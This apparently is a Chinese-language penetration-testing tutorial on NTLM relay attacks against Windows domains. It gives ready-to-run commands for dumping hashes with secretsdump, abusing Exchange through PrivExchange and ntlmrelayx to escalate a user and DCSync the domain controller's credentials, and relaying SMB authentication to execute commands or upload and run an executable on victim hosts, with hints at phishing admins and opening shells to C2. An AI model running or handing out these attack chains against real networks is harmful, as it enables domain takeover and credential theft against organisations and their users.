作者: 0xYyy
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
0x00 基本原理
1、正常的NTLM认证
2、重放攻击的NTLM认证过程
(1) Client端还是正常向服务端发送登录请求,由于client端此时并不知道攻击者的存在,它以为请求是发送给了server端,但实际上它是先发给了攻击者;
(2) 然后攻击者再拿着这个用户名伪装成client端发送给server端,此时server端正常返回一个challenge(挑战码);
(3) 攻击者拿到这个challenge(挑战码)以后,再把它返回给client端;
(4) Client 端拿到 challenge 在本地和自己的密码DES加密以后,会把这个response再次发送给攻击者,此时client依然认为攻击者就是server端;
(5) 最后,攻击者会拿着client端发过来的这个response再把它交给server端去验证server端此时到自己的数据库中对比,发现hash一致认证通过, 可见一次简单的smb中间人攻击就这样完成了。
3、攻击场景
(1)工作组环境(用处不大)
在工作组环境里面,工作组中的机器之间相互没有信任关系,每台机器的账号密码 Hash 只是保存在自己的 SAM 文件中,这个时候 Relay 到别的机器可能性就不大,除非两台机器的账号密码一样,不然毫无意义。
(2)域环境(主要在域环境下攻击)
我们知道在域环境下所有域用户的账号密码 Hash 都保存在域控的 ntds.dit 里面。若没有限制域用户登录到某台机子,那就可以将该域用户 Relay 到别人的机子,或者是拿到域控的请求,将域控 Relay 到普通的机子,比如域管运维所在的机器。
4、SMB攻击条件
目标机不能开启smb签名,否则利用无效,一般情况下 Windows Server 机器会默认开启,而Windows [win7/8/8.1/10]默认不会开启,可以利用nmap探测smb是否关闭。
一些打了ms08-068 [KB957097] 补丁的老系统,如 Windows xp/2003 以下的系统,也无法利用。
注意⚠️:域环境下域控默认开启 smb 签名
nmap -sT -p 445 -Pn --open --script smb-security-mode.nse 10.10.10.20
#需要关闭被攻击的域内机器
HKEY_LOCAL_MACHIME\System\CurrentControlSet\Services\LanManServer\Paramete
EnableSecuritySignature = 0
RequireSecuritySignature = 0
作用:在域环境中通过其他方式盗取域管认证后,继而从域控 relay 到普通域机器执行命令。
0x01 ntlmrelayx.py & Relay privexchange.py Attack
利用 Exchange SSRF 漏洞和 NTLM 中继沦陷域控
条件:
(1)域内账号
(2)存在exchange服务器
(3)修改攻击机hosts文件
快速命令:
#1、导出机器用户hash
secretsdump.py god.com/0x:"1qaz@WSX"@10.10.10.20
#2、手动添加SPN
python3 addspn.py -u god.com\\win2012\$ -p aad3b435b51404eeaad3b435b51404ee:11ac66c08ecc99ad7907687181cc2ea3 -s host/one.god.com 10.10.10.10 --additional
#3、指向SPN
python3 dnstool.py -u god.com\\win2012\$ -p aad3b435b51404eeaad3b435b51404ee:11ac66c08ecc99ad7907687181cc2ea3 -r one.god.com -d 10.10.10.1 --action add 10.10.10.10
注意⚠️:域外打需要添加、指向SPN
——————————————————————————————————————————————————————————————
#4、中继监听
python3 ntlmrelayx.py -t ldap://win-2016-dc.god.com --escalate-user 0x
#5、利用PrivExchange触发TGT
python3 privexchange.py -ah 10.10.10.1 10.10.10.20 -u 0x -p "1qaz@WSX" -d god.com
#6、直接导出DCsyncs
python3 secretsdump.py god.com/0x:"1qaz@WSX"@win-2016-dc.god.com -just-dc
1、手动添加SPN
2、指向SPN
3、ntlmrelayx.py中继监听
ntlmrelayx.py -t ldap://win-2016-dc.god.com --escalate-user 0x
4、利用PrivExchange触发获取TGT+ACL提权
5、直接导出DCsyncs
0x02 smbrelayx.py Relay Attack 执行命令
1、VPS 上执行命令监听 80 和 445 端口,伪造 http 和 smb 服务
#SMBRelay攻击域内主机10.10.10.20,并执行 whoami 命令
python3 smbrelayx.py -h 10.10.10.20 -c whoami
2、通过钓鱼或者其他手段诱导域管理员或域用户访问了攻击人员伪造的 HTTP 或 SMB 服务,访问 http://10.10.10.80 并输入账号密码进行认证:
3、此时就 Relay 成功获取到 192.168.0.128 的 system 权限(当然只是 whoami 命令,实战中可以直接远程加载 powershell 或者其他手段反弹 Shell 到 C2),或者访问任意资源。
dir \\10.10.10.80\c$
0x03 ntlmrelayx.py Relay Attack 执行命令
1、在VPS上执行如下命令监听 80 和 445 端口,伪造 http 和 smb 服务:
# SMBRelay 攻击10.10.10.20主机,并执行 whoami 命令
python3 ntlmrelayx.py -t smb://10.10.10.20 -c whoami -smb2support
##自动上传并执行
python3 ntlmrelayx.py -t smb://10.10.10.20 -smb2support -e a.exe
2、通过钓鱼或者其他手段诱导域管理员或域用户访问了攻击人员伪造的 HTTP 或 SMB 服务,访问http://10.10.10.80 并输入账号密码进行认证:
或者让域控随便访问一个资源使用 smb 触发:(因为它会检查本地 host 文件,然后检查 DNS,如果都不存在,就会通过 LLMNR 协议进行多播,在局域网中进行搜索。
此时可以在攻击机上看到 Responder 的响应,然后受害者的 Windows 机器会向攻击者进行身份验证)
dir \\10.10.10.80\c$
0x04 总结(使用 Responder & Inveigh )
内网渗透中若利用 LLMNR/NetBIOS 劫持成功并获得了目标主机的 Net-NTLM Hash,可以进行爆破,但需要一个强大的字典,否则很难得到明文密码。
由于 Net-NTLM Hash 不像 NTLM-Hash,不能用 Net-NTLM Hash 来进行 Pass The Hash,那么可以尝试一下 NTLM Relay Attack。
感谢团队师傅Nolan也帮忙解决了一点小bug。
0x05 了解更多安全知识
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!